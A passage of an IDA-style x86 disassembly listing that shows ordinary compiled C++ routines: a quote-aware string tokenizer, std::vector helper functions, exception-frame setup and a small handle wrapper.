		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		mov	edi, [esp+44h+arg_8]
		mov	esi, ecx
		test	edi, edi
		mov	[esp+44h+var_38], 0
		jnz	short loc_40A471
		mov	esi, [esp+44h+arg_0]
		push	offset byte_446F70
		mov	ecx, esi
		call	sub_401861
		jmp	loc_40A5A4
; ---------------------------------------------------------------------------


loc_40A471:				; CODE XREF: sub_40A430+2Aj
		lea	eax, [esp+44h+arg_8]
		lea	ecx, [esp+44h+var_34]
		push	eax
		call	sub_401690
		mov	ecx, [esi+9]
		mov	[esp+44h+var_4], 1
		push	ecx
		lea	ecx, [esp+48h+var_24]
		call	sub_401861
		lea	ecx, [esp+44h+var_24]
		mov	byte ptr [esp+44h+var_4], 2
		call	sub_4014D3
		mov	[esp+44h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jz	loc_40A555
		push	ebx


loc_40A4B1:				; CODE XREF: sub_40A430+11Ej
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_40A4C0


loc_40A4B7:				; CODE XREF: sub_40A430+8Ej
		inc	eax
		mov	[esp+48h+var_3C], eax
		cmp	[eax], dl
		jz	short loc_40A4B7


loc_40A4C0:				; CODE XREF: sub_40A430+85j
		cmp	byte ptr [eax],	22h
		setz	bl
		test	bl, bl
		jz	short loc_40A4CF
		inc	eax
		mov	[esp+48h+var_3C], eax


loc_40A4CF:				; CODE XREF: sub_40A430+98j
		lea	edx, [esp+48h+var_3C]
		lea	ecx, [esp+48h+var_34]
		push	edx
		call	sub_401988
		mov	eax, [esp+48h+var_3C]
		test	bl, bl
		mov	cl, [eax]
		jz	short loc_40A51F
		test	cl, cl
		jz	short loc_40A507


loc_40A4EB:				; CODE XREF: sub_40A430+D5j
		cmp	cl, 22h
		jnz	short loc_40A4FC
		mov	cl, [eax+1]
		cmp	cl, 20h
		jz	short loc_40A507
		test	cl, cl
		jz	short loc_40A507


loc_40A4FC:				; CODE XREF: sub_40A430+BEj
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A4EB


loc_40A507:				; CODE XREF: sub_40A430+B9j
					; sub_40A430+C6j ...
		cmp	byte ptr [eax],	0
		jz	short loc_40A54A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		mov	cl, [eax+1]
		test	cl, cl
		jz	short loc_40A54A
		add	eax, 2
		jmp	short loc_40A546
; ---------------------------------------------------------------------------


loc_40A51F:				; CODE XREF: sub_40A430+B5j
		test	cl, cl
		jz	short loc_40A534
		mov	dl, [edi]


loc_40A525:				; CODE XREF: sub_40A430+102j
		cmp	cl, dl
		jz	short loc_40A534
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A525


loc_40A534:				; CODE XREF: sub_40A430+F1j
					; sub_40A430+F7j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40A54A
		cmp	cl, [edi]
		jnz	short loc_40A54A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		inc	eax


loc_40A546:				; CODE XREF: sub_40A430+EDj
		mov	[esp+48h+var_3C], eax


loc_40A54A:				; CODE XREF: sub_40A430+DAj
					; sub_40A430+E8j ...
		mov	cl, [eax]
		test	cl, cl
		jnz	loc_40A4B1
		pop	ebx


loc_40A555:				; CODE XREF: sub_40A430+7Aj
		lea	ecx, [esp+44h+var_34]
		call	sub_4011F9
		mov	ecx, [esp+44h+arg_4]
		cmp	ecx, eax
		jb	short loc_40A56D
		push	offset byte_446F70
		jmp	short loc_40A57A
; ---------------------------------------------------------------------------


loc_40A56D:				; CODE XREF: sub_40A430+134j
		push	ecx
		lea	ecx, [esp+48h+var_34]
		call	sub_401F64
		mov	eax, [eax]
		push	eax


loc_40A57A:				; CODE XREF: sub_40A430+13Bj
		mov	esi, [esp+48h+arg_0]
		mov	ecx, esi
		call	sub_401861
		lea	ecx, [esp+44h+var_24]
		mov	[esp+44h+var_38], 1
		call	sub_401226
		lea	ecx, [esp+44h+var_34]
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_40158C
; ---------------------------------------------------------------------------


loc_40A5A4:				; CODE XREF: sub_40A430+3Cj
		mov	ecx, [esp+44h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_40A430	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A630	proc near		; CODE XREF: sub_4016AEj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		mov	eax, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	0
		push	eax
		push	edx
		push	esi
		mov	[esp+18h+var_4], 0
		call	sub_4011EA
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	0Ch
sub_40A630	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A670	proc near		; CODE XREF: sub_40200Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		pop	esi
		retn	4
sub_40A670	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A6A0	proc near		; CODE XREF: sub_401A87j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015D7
		retn	4
sub_40A6A0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A6C0	proc near		; CODE XREF: sub_40146Fj

arg_0		= dword	ptr  4

		mov	eax, [ecx+9]
		mov	ecx, [esp+arg_0]
		add	eax, ecx
		retn	4
sub_40A6C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A6E0:				; CODE XREF: ___:0040149Cj
		mov	eax, [ecx+9]
		mov	ecx, [esp+4]
		add	eax, ecx
		retn	4
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A700	proc near		; CODE XREF: sub_401389j
		mov	eax, [ecx+9]
		retn
sub_40A700	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A720	proc near		; CODE XREF: sub_4017E4j
		mov	eax, [ecx+9]
		retn
sub_40A720	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A740	proc near		; CODE XREF: sub_4014D3j
		mov	eax, [ecx+9]
		retn
sub_40A740	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A760	proc near		; CODE XREF: sub_401690j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_40A760	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40A790	proc near		; CODE XREF: sub_40158Cj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
sub_40A790	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7E0	proc near		; CODE XREF: sub_4011F9j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40A7EA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40A7EA:				; CODE XREF: sub_40A7E0+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_40A7E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A810	proc near		; CODE XREF: sub_401F64j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_4011F9
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_40A828
		mov	ecx, esi
		call	sub_401EE7


loc_40A828:				; CODE XREF: sub_40A810+Fj
		mov	ecx, esi
		call	sub_401D1B
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_40A810	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A850	proc near		; CODE XREF: sub_401988j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40164F
		push	eax
		mov	ecx, esi
		call	sub_4016EF
		pop	esi
		retn	4
sub_40A850	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A880	proc near		; CODE XREF: sub_401D1Bj
		mov	eax, [ecx+4]
		retn
sub_40A880	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8A0	proc near		; CODE XREF: sub_40164Fj
		mov	eax, [ecx+8]
		retn
sub_40A8A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8C0	proc near		; CODE XREF: sub_4016EFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401D1B
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_4013CF
		mov	ecx, edi
		call	sub_401D1B
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_40A8C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A910	proc near		; CODE XREF: sub_4019A6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_40A930


loc_40A921:				; CODE XREF: sub_40A910+1Ej
		push	esi
		mov	ecx, edi
		call	sub_4018B1
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_40A921


loc_40A930:				; CODE XREF: sub_40A910+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40A910	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A950:				; CODE XREF: sub_401EE7j
		push	0FFFFFFFFh
		push	offset loc_438AB9
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3]
		lea	ecx, [esp+4]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		nop
		call	near ptr 76081F67h
		lea	ecx, [esp+4]
		mov	dword ptr [esp+38h], 0
		push	ecx
		lea	ecx, [esp+18h]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+14h]
		push	offset dword_43F080
		push	edx
		call	sub_436832
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40A9D0	proc near		; CODE XREF: sub_4011EFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_40A9D0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9F0	proc near		; CODE XREF: sub_4013CFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_40AABB
		mov	ecx, esi
		call	sub_4011F9
		cmp	edi, eax
		jnb	short loc_40AA23
		mov	ecx, esi
		call	sub_4011F9
		mov	ebp, eax
		jmp	short loc_40AA25
; ---------------------------------------------------------------------------


loc_40AA23:				; CODE XREF: sub_40A9F0+26j
		mov	ebp, edi


loc_40AA25:				; CODE XREF: sub_40A9F0+31j
		mov	ecx, esi
		call	sub_4011F9
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401DCF
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010CD
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_402176
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_4011F9
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AABB:				; CODE XREF: sub_40A9F0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_40AB19
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_402176
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401E6F
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AB19:				; CODE XREF: sub_40A9F0+D8j
		test	edi, edi
		jbe	short loc_40AB53
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4010CD
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_4020AE
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401E6F
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_40AB53:				; CODE XREF: sub_40A9F0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40A9F0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ABC0	proc near		; CODE XREF: sub_4018B1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_1
		pop	ecx
		retn	4
sub_40ABC0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ABE0	proc near		; CODE XREF: sub_4010CDj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_40AC12
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_40ABF6:				; CODE XREF: sub_40ABE0+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_402121
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_40ABF6
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AC12:				; CODE XREF: sub_40ABE0+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40ABE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AC30	proc near		; CODE XREF: sub_402176j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_40AC57
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_40AC46:				; CODE XREF: sub_40AC30+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_402121
		add	esi, 4
		dec	edi
		jnz	short loc_40AC46
		pop	esi
		pop	ebx


loc_40AC57:				; CODE XREF: sub_40AC30+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_40AC30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AC70	proc near		; CODE XREF: sub_401DCFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4014CE
sub_40AC70	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACA0	proc near		; CODE XREF: sub_402121j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401DE8
		add	esp, 8
		retn	8
sub_40ACA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACD0	proc near		; CODE XREF: sub_401E6Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40ACED
		mov	edx, [esp+arg_8]
		push	esi


loc_40ACE1:				; CODE XREF: sub_40ACD0+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_40ACE1
		pop	esi

locret_40ACED:				; CODE XREF: sub_40ACD0+Aj
		retn
sub_40ACD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD00	proc near		; CODE XREF: sub_4020AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_40AD22
		mov	eax, [esp+arg_8]
		push	esi


loc_40AD11:				; CODE XREF: sub_40AD00+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_40AD11
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AD22:				; CODE XREF: sub_40AD00+Aj
		mov	eax, [esp+arg_8]
		retn
sub_40AD00	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AD60	proc near		; CODE XREF: sub_4014CEj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40AD6A
		xor	eax, eax


loc_40AD6A:				; CODE XREF: sub_40AD60+6j
		shl	eax, 2
		push	eax
		call	sub_4367FA
sub_40AD60	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD90	proc near		; CODE XREF: sub_401DE8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40ADAB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40ADAB:				; CODE XREF: sub_40AD90+11j
		retn
sub_40AD90	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ADC0	proc near		; CODE XREF: sub_401E6Aj
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E014
		retn
sub_40ADC0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40ADE0:				; CODE XREF: ___:00401717j
					; ___:loc_402027j
		push	esi
		mov	esi, ecx
		call	sub_402031
		test	byte ptr [esp+8], 1
		jz	short loc_40ADF8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40ADF8:				; CODE XREF: ___:0040ADEDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE10	proc near		; CODE XREF: sub_402031j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40AE10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ecx], offset	off_43E014
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	sub_401744


loc_40AE41:				; DATA XREF: sub_40AE52o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AE10	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AE52	proc near		; DATA XREF: ___:0043F1BCo
		mov	eax, offset loc_40AE41
		retn
sub_40AE52	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AE80	proc near		; CODE XREF: sub_4014BAj
		call	sub_401708
		jmp	sub_4017B2
sub_40AE80	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AEA0	proc near		; CODE XREF: sub_401B18j
		call	sub_40161D
		jmp	sub_4017C1
sub_40AEA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AEC0	proc near		; CODE XREF: sub_4013D4j
		push	esi
		mov	esi, ecx
		push	esi
		push	offset sub_40141F
		lea	eax, [esi+0Ch]
		push	0
		push	eax
		call	sub_40123A
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40AEE2
		mov	al, 1
		mov	[esi+10h], al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AEE2:				; CODE XREF: sub_40AEC0+19j
		mov	byte ptr [esi+10h], 0
		xor	al, al
		pop	esi
		retn
sub_40AEC0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AF00:				; CODE XREF: ___:004011C2j
		push	ecx
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40AF27
		mov	ecx, [esi+0Ch]
		lea	eax, [esp+4]
		push	eax
		push	ecx
		call	sub_40175D
		mov	eax, [esp+0Ch]
		add	esp, 8
		mov	byte ptr [esi+10h], 0
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40AF27:				; CODE XREF: ___:0040AF09j
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF40	proc near		; CODE XREF: sub_401744j
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40AF5C
		mov	eax, [esi+0Ch]
		push	0Fh
		push	eax
		call	sub_401758
		add	esp, 8
		mov	byte ptr [esi+10h], 0


loc_40AF5C:				; CODE XREF: sub_40AF40+8j
		pop	esi
		retn
sub_40AF40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AF70:				; CODE XREF: ___:004011F4j
		mov	eax, [ecx+0Ch]
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF90	proc near		; CODE XREF: sub_40141Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40AF90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	eax, [ecx]
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	dword ptr [eax+4]


loc_40AFBE:				; DATA XREF: sub_40AFD1o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AF90	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AFD1	proc near		; DATA XREF: ___:0043F21Co
		mov	eax, offset loc_40AFBE
		retn
sub_40AFD1	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B000	proc near		; CODE XREF: sub_401028j

var_8		= dword	ptr -8
var_4		= byte ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B042
		mov	edx, [esi+0Ch]
		lea	eax, [esp+0Ch+var_8]
		lea	ecx, [esp+0Ch+var_4]
		push	eax
		push	ecx
		push	edx
		call	sub_40218F
		mov	edx, [esi+0Ch]
		mov	eax, [esp+18h+var_8]
		lea	ecx, [esp+18h+var_8]
		mov	[esi+8], eax
		push	ecx
		push	1
		push	edx
		mov	[esp+24h+var_8], 0
		call	sub_401050
		add	esp, 18h


loc_40B042:				; CODE XREF: sub_40B000+Bj
		pop	esi
		add	esp, 8
		retn
sub_40B000	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B070	proc near		; CODE XREF: sub_401DCAj

var_4		= dword	ptr -4

		push	ecx
		mov	al, [ecx+10h]
		test	al, al
		jz	short loc_40B092
		mov	eax, [ecx+8]
		lea	edx, [esp+4+var_4]
		mov	[esp+4+var_4], eax
		mov	eax, [ecx+0Ch]
		push	edx
		push	1
		push	eax
		call	sub_401050
		add	esp, 0Ch


loc_40B092:				; CODE XREF: sub_40B070+6j
		pop	ecx
		retn
sub_40B070	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B0B0	proc near		; CODE XREF: sub_4019F1j

